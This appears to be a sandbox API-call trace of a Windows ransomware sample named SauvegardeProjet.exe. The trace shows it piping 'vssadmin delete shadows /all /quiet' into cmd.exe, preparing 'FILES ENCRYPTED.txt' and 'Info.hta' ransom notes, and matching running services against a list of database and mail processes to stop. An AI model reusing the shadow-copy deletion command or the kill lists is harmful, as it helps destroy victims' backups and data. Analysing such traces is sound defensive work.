returned 0x75a20000 [0111.475] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0111.475] Wow64DisableWow64FsRedirection (in: OldValue=0x18f0b0 | out: OldValue=0x18f0b0*=0x1) returned 1 [0111.476] lstrlenW (lpString="kernel32.dll") returned 12 [0111.476] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0111.481] lstrlenW (lpString="%windir%\\System32") returned 17 [0111.481] lstrlenW (lpString="%appdata%") returned 9 [0111.481] lstrlenW (lpString="%sh(Startup)%") returned 13 [0111.481] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0111.481] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.481] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x53d630, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0111.481] CreatePipe (in: hReadPipe=0x18f06c, hWritePipe=0x18f070, lpPipeAttributes=0x18f05c, nSize=0x0 | out: hReadPipe=0x18f06c*=0xe8, hWritePipe=0x18f070*=0xec) returned 1 [0111.482] CreatePipe (in: hReadPipe=0x18f0dc, hWritePipe=0x18f0e0, lpPipeAttributes=0x18f05c, nSize=0x0 | out: hReadPipe=0x18f0dc*=0xf0, hWritePipe=0x18f0e0*=0xf4) returned 1 [0111.482] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0111.482] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0111.482] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f07c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18f0cc | out: lpCommandLine=0x0, lpProcessInformation=0x18f0cc*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb50, dwThreadId=0x310)) returned 1 [0111.501] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0111.501] WriteFile (in: hFile=0xec, lpBuffer=0x53b648*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18f078, lpOverlapped=0x0 | out: lpBuffer=0x53b648*, lpNumberOfBytesWritten=0x18f078*=0x41, lpOverlapped=0x0) returned 1 [0111.501] CloseHandle (hObject=0xfc) returned 1 [0111.501] CloseHandle (hObject=0xf8) returned 1 [0111.501] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0111.501] lstrlenW (lpString="%comspec%") returned 9 [0111.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0111.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5149a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0111.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5147f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0111.504] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0111.504] GetLogicalDrives () returned 0x4 [0111.507] lstrlenW (lpString=".gdb") returned 4 [0111.508] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0111.508] lstrlenW (lpString="Info.hta") returned 8 [0111.508] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x54d638, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0111.508] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0111.508] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.508] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x54d638, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0111.509] lstrlenW (lpString="%windir%;") returned 9 [0111.509] lstrlenW (lpString="C:\\Windows;") returned 11 [0111.509] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x53d630, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0111.509] lstrlenW (lpString="C:\\") returned 3 [0111.509] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18efc0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18efc0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0112.836] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x575e60, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0113.427] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0113.428] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x575e60, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0113.428] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x55d658, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0113.428] lstrlenW (lpString="C:\\") returned 3 [0113.428] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18efc0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18efc0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0113.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0x516be8*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0x228 Thread: id = 14 os_tid = 0xb30 [0111.728] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0111.728] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0111.728] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5158c0 [0111.729] EnumServicesStatusExW (in: hSCManager=0x5158c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0111.729] GetLastError () returned 0xea [0111.729] EnumServicesStatusExW (in: hSCManager=0x5158c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5336a0, cbBufSize=0x13a2, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5336a0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0111.730] CloseServiceHandle (hSCObject=0x5158c0) returned 1 [0111.730] lstrlenW (lpString="Appinfo") returned 7 [0111.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0111.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0111.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0111.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0111.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0111.730] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0111.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.730] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0111.730] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0111.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0111.730] lstrlenW (lpString="AudioSrv") returned 8 [0111.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0111.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0111.731] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0111.731] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0111.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0111.731] lstrlenW (lpString="BFE") returned 3 [0111.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0111.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0111.731] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0111.731] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0111.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0111.731] lstrlenW (lpString="CryptSvc") returned 8 [0111.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0111.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0111.732] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0111.732] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0111.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0111.732] lstrlenW (lpString="CscService") returned 10 [0111.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0111.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0111.732] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0111.732] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0111.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0111.732] lstrlenW (lpString="DcomLaunch") returned 10 [0111.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.732] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0111.732] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0111.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0111.733] lstrlenW (lpString="Dhcp") returned 4 [0111.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0111.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0111.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0111.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0111.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0111.733] lstrlenW (lpString="Dnscache") returned 8 [0111.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0111.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0111.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0111.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0111.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0111.733] lstrlenW (lpString="DPS") returned 3 [0111.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0111.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0111.733] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0111.733] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0111.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0111.733] lstrlenW (lpString="eventlog") returned 8 [0111.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0111.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0111.733] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0111.733] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0111.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0111.734] lstrlenW (lpString="EventSystem") returned 11 [0111.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0111.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0111.734] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0111.734] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0111.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0111.734] lstrlenW (lpString="FontCache") returned 9 [0111.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0111.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0111.734] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0111.734] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0111.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0111.734] lstrlenW (lpString="gpsvc") returned 5 [0111.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0111.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0111.734] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0111.735] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0111.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0111.735] lstrlenW (lpString="iphlpsvc") returned 8 [0111.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.735] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0111.735] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0111.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0111.735] lstrlenW (lpString="LanmanServer") returned 12 [0111.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0111.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0111.735] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0111.735] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0111.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0111.735] lstrlenW (lpString="LanmanWorkstation") returned 17 [0111.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.735] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0111.735] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0111.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0111.735] lstrlenW (lpString="lmhosts") returned 7 [0111.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0111.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0111.735] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0111.735] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0111.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0111.736] lstrlenW (lpString="MMCSS") returned 5 [0111.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0111.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0111.736] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0111.736] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0111.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0111.736] lstrlenW (lpString="MpsSvc") returned 6 [0111.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0111.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0111.736] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0111.736] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0111.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0111.736] lstrlenW (lpString="Netman") returned 6 [0111.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0111.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0111.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0111.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0111.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0111.736] lstrlenW (lpString="netprofm") returned 8 [0111.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0111.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0111.736] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0111.736] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0111.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0111.737] lstrlenW (lpString="NlaSvc") returned 6 [0111.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0111.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0111.737] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0111.737] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0111.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0111.737] lstrlenW (lpString="nsi") returned 3 [0111.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0111.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0111.737] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0111.737] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0111.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0111.737] lstrlenW (lpString="PcaSvc") returned 6 [0111.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0111.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0111.737] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0111.737] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0111.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0111.737] lstrlenW (lpString="PlugPlay") returned 8 [0111.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0111.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0111.737] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0111.737] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0111.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0111.737] lstrlenW (lpString="Power") returned 5 [0111.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0111.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0111.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0111.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0111.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0111.737] lstrlenW (lpString="ProfSvc") returned 7 [0111.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0111.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0111.738] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0111.738] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0111.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0111.738] lstrlenW (lpString="RpcEptMapper") returned 12 [0111.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.738] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0111.738] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0111.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0111.738] lstrlenW (lpString="RpcSs") returned 5 [0111.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0111.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0111.738] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0111.738] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0111.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0111.738] lstrlenW (lpString="SamSs") returned 5 [0111.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0111.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0111.738] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0111.738] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0111.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0111.738] lstrlenW (lpString="Schedule") returned 8 [0111.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0111.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0111.738] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0111.738] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0111.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0111.738] lstrlenW (lpString="SENS") returned 4 [0111.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0111.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0111.739] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0111.739] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0111.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0111.739] lstrlenW (lpString="ShellHWDetection") returned 16 [0111.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.739] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0111.739] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0111.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0111.739] lstrlenW (lpString="Spooler") returned 7 [0111.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0111.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0111.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0111.739] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0111.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0111.739] lstrlenW (lpString="sppsvc") returned 6 [0111.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0111.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0111.739] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0111.739] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0111.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0111.739] lstrlenW (lpString="SysMain") returned 7 [0111.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0111.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0111.739] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0111.740] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0111.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0111.740] lstrlenW (lpString="Themes") returned 6 [0111.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0111.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0111.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0111.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0111.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0111.740] lstrlenW (lpString="TrkWks") returned 6 [0111.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0111.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0111.740] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0111.740] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0111.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0111.740] lstrlenW (lpString="UxSms") returned 5 [0111.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0111.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0111.740] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0111.740] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0111.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0111.740] lstrlenW (lpString="W32Time") returned 7 [0111.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0111.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0111.740] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 